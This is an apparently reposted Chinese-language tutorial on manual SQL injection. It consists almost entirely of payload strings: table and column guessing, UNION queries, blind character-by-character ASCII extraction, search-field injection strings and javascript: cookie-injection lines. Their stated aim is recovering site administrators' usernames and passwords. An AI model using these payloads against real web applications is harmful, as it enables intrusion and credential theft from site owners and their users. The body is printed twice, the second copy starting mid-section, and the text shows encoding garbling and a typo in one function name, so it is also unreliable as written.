教你如何手工注入猜解語句
發(fā)布日期:2021-12-17 13:46 | 文章來源:gibhub
猜解表名:
and exists (select * from 表名)
猜解列名:
and exists (select 字段 from 表名)
UNION法:
聯(lián)合查詢:
select name,password,id from user union select user,pwd,uid from
爆指定表名內(nèi)容:
and 1=1 union select 1,2,3,4,5 from 表名
ASCII逐字解碼法:
1、猜解列長度
猜解語句:
and (select top 1 len(列名)from 表名)>N
and (select top 1 len(列名)from 表名)=N
其中N是數(shù)字,變換這個(gè)N的值猜解列長度,例如:
and (select top 1 len(列名)from 表名)>1
and (select top 1 len(列名)from 表名)>6
如果一直猜到6都顯示正常頁面,猜到7的時(shí)候返回錯(cuò)誤(大于6并且小于等于7),那么該列的長度為7。因?yàn)椤皌op 1”的意思是把最靠前的1條記錄給提取出來,所以如果要猜解第二條記錄就該使用:
select top 1 len(列名) from 表名
where 列名 not in (select top 1 列名 from 表名)
2、ASCII碼分析法猜解用戶和密碼
ASC()函數(shù)和Mid函數(shù)
例如:mid(列名,N,1)
ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII碼
猜解語句為:
and (select top 1 asc(mid(字段,1,1)) from 數(shù)據(jù)庫名)=ASC碼(通過轉(zhuǎn)換工具換)
區(qū)間判斷語句:
“......between......and......”
中文處理法:
當(dāng)ASCII轉(zhuǎn)換后為“負(fù)數(shù)”使用abs()函數(shù)取絕對(duì)值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 數(shù)據(jù)庫名)=ASC碼(通過轉(zhuǎn)換工具換)
ASCII逐字解碼法的應(yīng)用:
1、猜解表名:
and (select count(*) from admin)<>0
2、猜解列名:
and (select count(列名) from 表名)<>0
3、猜解管理員用戶個(gè)數(shù):
and (select count(*) from 表名)=1
返回正常,表中有一條記錄。
4、猜解管理員用戶名的長度:
and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解管理員用戶名:
and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:
and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理員的密碼:
按照上面的原理,只要把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到管理員的密碼了。
搜索型注入漏洞利用猜解語句:
關(guān)鍵字%' and 1=1 and '%'='%
關(guān)鍵字%' and 1=2 and '%'='%
將and 1=1 換成注入語句就可以了。
cookie注入語句:
javascript:alert(document.cookie="id=" escape("44 and 1=1"));
javascript:alert(document.cookie="id=" escape("44 and 1=2"));
猜解語句:
猜解長度:
javascript:alert(document.cookie="id=" escape("44 and (select len(password) from admin)=16"))
猜解內(nèi)容:
javascript:alert(document.cookie="id=" escape("44 and (select asc(mid(username)) from admin)=97"))
and exists (select * from 表名)
猜解列名:
and exists (select 字段 from 表名)
UNION法:
聯(lián)合查詢:
select name,password,id from user union select user,pwd,uid from
爆指定表名內(nèi)容:
and 1=1 union select 1,2,3,4,5 from 表名
ASCII逐字解碼法:
1、猜解列長度
猜解語句:
and (select top 1 len(列名)from 表名)>N
and (select top 1 len(列名)from 表名)=N
其中N是數(shù)字,變換這個(gè)N的值猜解列長度,例如:
and (select top 1 len(列名)from 表名)>1
and (select top 1 len(列名)from 表名)>6
如果一直猜到6都顯示正常頁面,猜到7的時(shí)候返回錯(cuò)誤(大于6并且小于等于7),那么該列的長度為7。因?yàn)椤皌op 1”的意思是把最靠前的1條記錄給提取出來,所以如果要猜解第二條記錄就該使用:
select top 1 len(列名) from 表名
where 列名 not in (select top 1 列名 from 表名)
2、ASCII碼分析法猜解用戶和密碼
ASC()函數(shù)和Mid函數(shù)
例如:mid(列名,N,1)
ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII碼
猜解語句為:
and (select top 1 asc(mid(字段,1,1)) from 數(shù)據(jù)庫名)=ASC碼(通過轉(zhuǎn)換工具換)
區(qū)間判斷語句:
“......between......and......”
中文處理法:
當(dāng)ASCII轉(zhuǎn)換后為“負(fù)數(shù)”使用abs()函數(shù)取絕對(duì)值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 數(shù)據(jù)庫名)=ASC碼(通過轉(zhuǎn)換工具換)
ASCII逐字解碼法的應(yīng)用:
1、猜解表名:
and (select count(*) from admin)<>0
2、猜解列名:
and (select count(列名) from 表名)<>0
3、猜解管理員用戶個(gè)數(shù):
and (select count(*) from 表名)=1
返回正常,表中有一條記錄。
4、猜解管理員用戶名的長度:
and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解管理員用戶名:
and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:
and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理員的密碼:
按照上面的原理,只要把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到管理員的密碼了。
搜索型注入漏洞利用猜解語句:
關(guān)鍵字%' and 1=1 and '%'='%
關(guān)鍵字%' and 1=2 and '%'='%
將and 1=1 換成注入語句就可以了。
cookie注入語句:
javascript:alert(document.cookie="id=" escape("44 and 1=1"));
javascript:alert(document.cookie="id=" escape("44 and 1=2"));
猜解語句:
猜解長度:
javascript:alert(document.cookie="id=" escape("44 and (select len(password) from admin)=16"))
猜解內(nèi)容:
javascript:alert(document.cookie="id=" escape("44 and (select asc(mid(username)) from admin)=97"))
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
上一篇:
新的掛馬方式-ARP欺騙
下一篇:
關(guān)注官方微信